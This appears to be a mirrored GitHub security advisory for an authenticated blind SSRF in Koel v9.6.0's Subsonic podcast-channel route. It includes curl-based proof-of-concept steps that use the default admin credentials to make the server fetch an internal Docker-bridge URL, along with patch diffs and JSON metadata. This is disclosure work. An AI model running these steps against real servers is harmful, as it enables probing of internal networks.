GHSA-W79M-F3JX-779V

Vulnerability from github – Published: 2026-07-15 17:07 – Updated: 2026-07-15 17:07
VLAI
Summary
Koel: Authenticated Blind SSRF via Subsonic Podcast Channel Creation
Details

Summary

Koel v9.6.0 protects the regular podcast subscription API with SafeUrl, but the Subsonic-compatible createPodcastChannel.view route does not apply the same protection. An authenticated user can supply a private URL and cause Koel to fetch it server-side during podcast parsing.

This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.

This is distinct from GHSA-7j2f-6h2r-6cqc, which fixed unsafe episode enclosure URLs in versions <= 9.3.4. The issue here is a newer validation gap in the Subsonic route itself, still present in v9.6.0.

Details

SafeUrl protects the regular podcast API only

The regular podcast subscription path validates the feed URL with SafeUrl:

  • app/Http/Requests/API/Podcast/PodcastStoreRequest.php
return [
    'url' => ['required', 'url', new SafeUrl()],
];

The Subsonic-compatible route does not:

  • routes/subsonic.php
  • createPodcastChannel.view
  • app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
return [
    'url' => ['required', 'string', 'url'],
];

That creates the same kind of trust-boundary mismatch as the radio issue: the main API rejects private targets, while the compatibility route accepts them.

The URL is fetched immediately by the podcast parser

The attacker-controlled URL is used by the podcast service during channel creation:

  • app/Http/Controllers/Subsonic/CreatePodcastChannelController.php
  • app/Services/Podcast/PodcastService.php

PodcastService::addPodcast() calls:

$parser = $this->createParser($url);

and createParser() resolves to:

return Poddle::fromUrl($url, 5 * 60, $this->client);

This means the SSRF happens as part of the channel creation flow itself. No separate playback step is needed.

This bypasses Koel's intended SSRF control for podcast URLs

Koel already added SafeUrl to the regular podcast API and has already published a podcast-related SSRF advisory. The Subsonic route does not reuse that same control, so it reintroduces a server-side fetch primitive for private destinations.

PoC

The following steps were validated against the official phanan/koel:9.6.0 image.

  1. Authenticate and obtain an API token:
API_TOKEN=$(
  curl -sS -X POST http://127.0.0.1:18081/api/me \
    -H 'Content-Type: application/json' \
    --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
  1. Obtain the user's Subsonic API key:
SUBSONIC_KEY=$(
  curl -sS http://127.0.0.1:18081/api/data \
    -H "Authorization: Bearer $API_TOKEN" \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
  1. Prepare an internal-only target URL. In my validation, I used a host-side RSS fixture reachable from the container through the Docker bridge:
TARGET_URL="http://172.17.0.1:18090/feed.xml?run=1"
  1. Confirm the regular web API blocks the URL:
curl -i -X POST http://127.0.0.1:18081/api/podcasts \
  -H "Authorization: Bearer $API_TOKEN" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  --data "{\"url\":\"$TARGET_URL\"}"

Expected result:

  • HTTP 422
  • Error includes The url must point to a public URL.

  • Trigger the Subsonic route with the same URL:

curl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view \
  --data-urlencode "apiKey=$SUBSONIC_KEY" \
  --data-urlencode 'f=json' \
  --data-urlencode "url=$TARGET_URL"

Expected result:

  • HTTP 200
  • JSON includes "status":"ok"

  • Confirm the server-side request happened by checking the internal HTTP service logs.

During validation, the local HTTP test server received HEAD and GET requests for /feed.xml?run=1.

Impact

An authenticated user can make Koel send server-side HTTP requests to internal destinations that are intentionally blocked by the main web API.

Validated impact: - SSRF to loopback, Docker-bridge, and RFC1918 HTTP destinations reachable from the Koel server - Internal service discovery and request execution through the podcast parser

Generic response-body exfiltration was not validated through this exact route. The confirmed impact is SSRF-based internal request execution.

Remediation

The Subsonic podcast request validator should apply SafeUrl, and the parser entry point should reject unsafe targets as defense in depth.

Suggested patch for app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php:

diff --git a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
--- a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
+++ b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
@@
 namespace App\Http\Requests\Subsonic;

 use App\Http\Requests\Request;
+use App\Rules\SafeUrl;
@@
     public function rules(): array
     {
         return [
-            'url' => ['required', 'string', 'url'],
+            'url' => ['required', 'string', 'url', new SafeUrl()],
         ];
     }
 }

Suggested defense-in-depth patch for app/Services/Podcast/PodcastService.php:

diff --git a/app/Services/Podcast/PodcastService.php b/app/Services/Podcast/PodcastService.php
--- a/app/Services/Podcast/PodcastService.php
+++ b/app/Services/Podcast/PodcastService.php
@@
     private function createParser(string $url): Poddle
     {
+        if (!$this->network->isSafeUrl($url)) {
+            throw FailedToParsePodcastFeedException::create($url);
+        }
+
         return Poddle::fromUrl($url, 5 * 60, $this->client);
     }
 }
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phanan/koel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54492"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T17:07:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nKoel `v9.6.0` protects the regular podcast subscription API with `SafeUrl`, but the Subsonic-compatible `createPodcastChannel.view` route does not apply the same protection. An authenticated user can supply a private URL and cause Koel to fetch it server-side during podcast parsing.\n\nThis was validated against `v9.6.0` (`352ea5ec27fa22294da8fb6beacb3d5552f0d09c`) using the official `phanan/koel:9.6.0` image.\n\nThis is distinct from `GHSA-7j2f-6h2r-6cqc`, which fixed unsafe episode enclosure URLs in versions `\u003c= 9.3.4`. The issue here is a newer validation gap in the Subsonic route itself, still present in `v9.6.0`.\n\n### Details\n#### SafeUrl protects the regular podcast API only\n\nThe regular podcast subscription path validates the feed URL with `SafeUrl`:\n\n- `app/Http/Requests/API/Podcast/PodcastStoreRequest.php`\n\n```php\nreturn [\n    \u0027url\u0027 =\u003e [\u0027required\u0027, \u0027url\u0027, new SafeUrl()],\n];\n```\n\nThe Subsonic-compatible route does not:\n\n- `routes/subsonic.php`\n  - `createPodcastChannel.view`\n- `app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php`\n\n```php\nreturn [\n    \u0027url\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027, \u0027url\u0027],\n];\n```\n\nThat creates the same kind of trust-boundary mismatch as the radio issue: the main API rejects private targets, while the compatibility route accepts them.\n\n#### The URL is fetched immediately by the podcast parser\n\nThe attacker-controlled URL is used by the podcast service during channel creation:\n\n- `app/Http/Controllers/Subsonic/CreatePodcastChannelController.php`\n- `app/Services/Podcast/PodcastService.php`\n\n`PodcastService::addPodcast()` calls:\n\n```php\n$parser = $this-\u003ecreateParser($url);\n```\n\nand `createParser()` resolves to:\n\n```php\nreturn Poddle::fromUrl($url, 5 * 60, $this-\u003eclient);\n```\n\nThis means the SSRF happens as part of the channel creation flow itself. No separate playback step is needed.\n\n#### This bypasses Koel\u0027s intended SSRF control for podcast URLs\n\nKoel already added `SafeUrl` to the regular podcast API and has already published a podcast-related SSRF advisory. The Subsonic route does not reuse that same control, so it reintroduces a server-side fetch primitive for private destinations.\n\n### PoC\nThe following steps were validated against the official `phanan/koel:9.6.0` image.\n\n1. Authenticate and obtain an API token:\n\n```bash\nAPI_TOKEN=$(\n  curl -sS -X POST http://127.0.0.1:18081/api/me \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \u0027{\"email\":\"admin@koel.dev\",\"password\":\"KoelIsCool\"}\u0027 \\\n  | python3 -c \u0027import json,sys; print(json.load(sys.stdin)[\"token\"])\u0027\n)\n```\n\n2. Obtain the user\u0027s Subsonic API key:\n\n```bash\nSUBSONIC_KEY=$(\n  curl -sS http://127.0.0.1:18081/api/data \\\n    -H \"Authorization: Bearer $API_TOKEN\" \\\n  | python3 -c \u0027import json,sys; print(json.load(sys.stdin)[\"current_user\"][\"subsonic_api_key\"])\u0027\n)\n```\n\n3. Prepare an internal-only target URL. In my validation, I used a host-side RSS fixture reachable from the container through the Docker bridge:\n\n```bash\nTARGET_URL=\"http://172.17.0.1:18090/feed.xml?run=1\"\n```\n\n4. Confirm the regular web API blocks the URL:\n\n```bash\ncurl -i -X POST http://127.0.0.1:18081/api/podcasts \\\n  -H \"Authorization: Bearer $API_TOKEN\" \\\n  -H \u0027Accept: application/json\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \"{\\\"url\\\":\\\"$TARGET_URL\\\"}\"\n```\n\nExpected result:\n\n- HTTP `422`\n- Error includes `The url must point to a public URL.`\n\n5. Trigger the Subsonic route with the same URL:\n\n```bash\ncurl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view \\\n  --data-urlencode \"apiKey=$SUBSONIC_KEY\" \\\n  --data-urlencode \u0027f=json\u0027 \\\n  --data-urlencode \"url=$TARGET_URL\"\n```\n\nExpected result:\n\n- HTTP `200`\n- JSON includes `\"status\":\"ok\"`\n\n6. Confirm the server-side request happened by checking the internal HTTP service logs.\n\nDuring validation, the local HTTP test server received `HEAD` and `GET ` requests for `/feed.xml?run=1`.\n\n### Impact\nAn authenticated user can make Koel send server-side HTTP requests to internal destinations that are intentionally blocked by the main web API.\n\nValidated impact:\n- SSRF to loopback, Docker-bridge, and RFC1918 HTTP destinations reachable from the Koel server\n- Internal service discovery and request execution through the podcast parser\n\nGeneric response-body exfiltration was not validated through this exact route. The confirmed impact is SSRF-based internal request execution.\n\n### Remediation\n\nThe Subsonic podcast request validator should apply `SafeUrl`, and the parser entry point should reject unsafe targets as defense in depth.\n\nSuggested patch for `app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php`:\n\n```diff\ndiff --git a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php\n--- a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php\n+++ b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php\n@@\n namespace App\\Http\\Requests\\Subsonic;\n \n use App\\Http\\Requests\\Request;\n+use App\\Rules\\SafeUrl;\n@@\n     public function rules(): array\n     {\n         return [\n-            \u0027url\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027, \u0027url\u0027],\n+            \u0027url\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027, \u0027url\u0027, new SafeUrl()],\n         ];\n     }\n }\n```\n\nSuggested defense-in-depth patch for `app/Services/Podcast/PodcastService.php`:\n\n```diff\ndiff --git a/app/Services/Podcast/PodcastService.php b/app/Services/Podcast/PodcastService.php\n--- a/app/Services/Podcast/PodcastService.php\n+++ b/app/Services/Podcast/PodcastService.php\n@@\n     private function createParser(string $url): Poddle\n     {\n+        if (!$this-\u003enetwork-\u003eisSafeUrl($url)) {\n+            throw FailedToParsePodcastFeedException::create($url);\n+        }\n+\n         return Poddle::fromUrl($url, 5 * 60, $this-\u003eclient);\n     }\n }\n```",
  "id": "GHSA-w79m-f3jx-779v",
  "modified": "2026-07-15T17:07:16Z",
  "published": "2026-07-15T17:07:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/pull/2545"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koel/koel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/releases/tag/v9.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Koel: Authenticated Blind SSRF via Subsonic Podcast Channel Creation"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…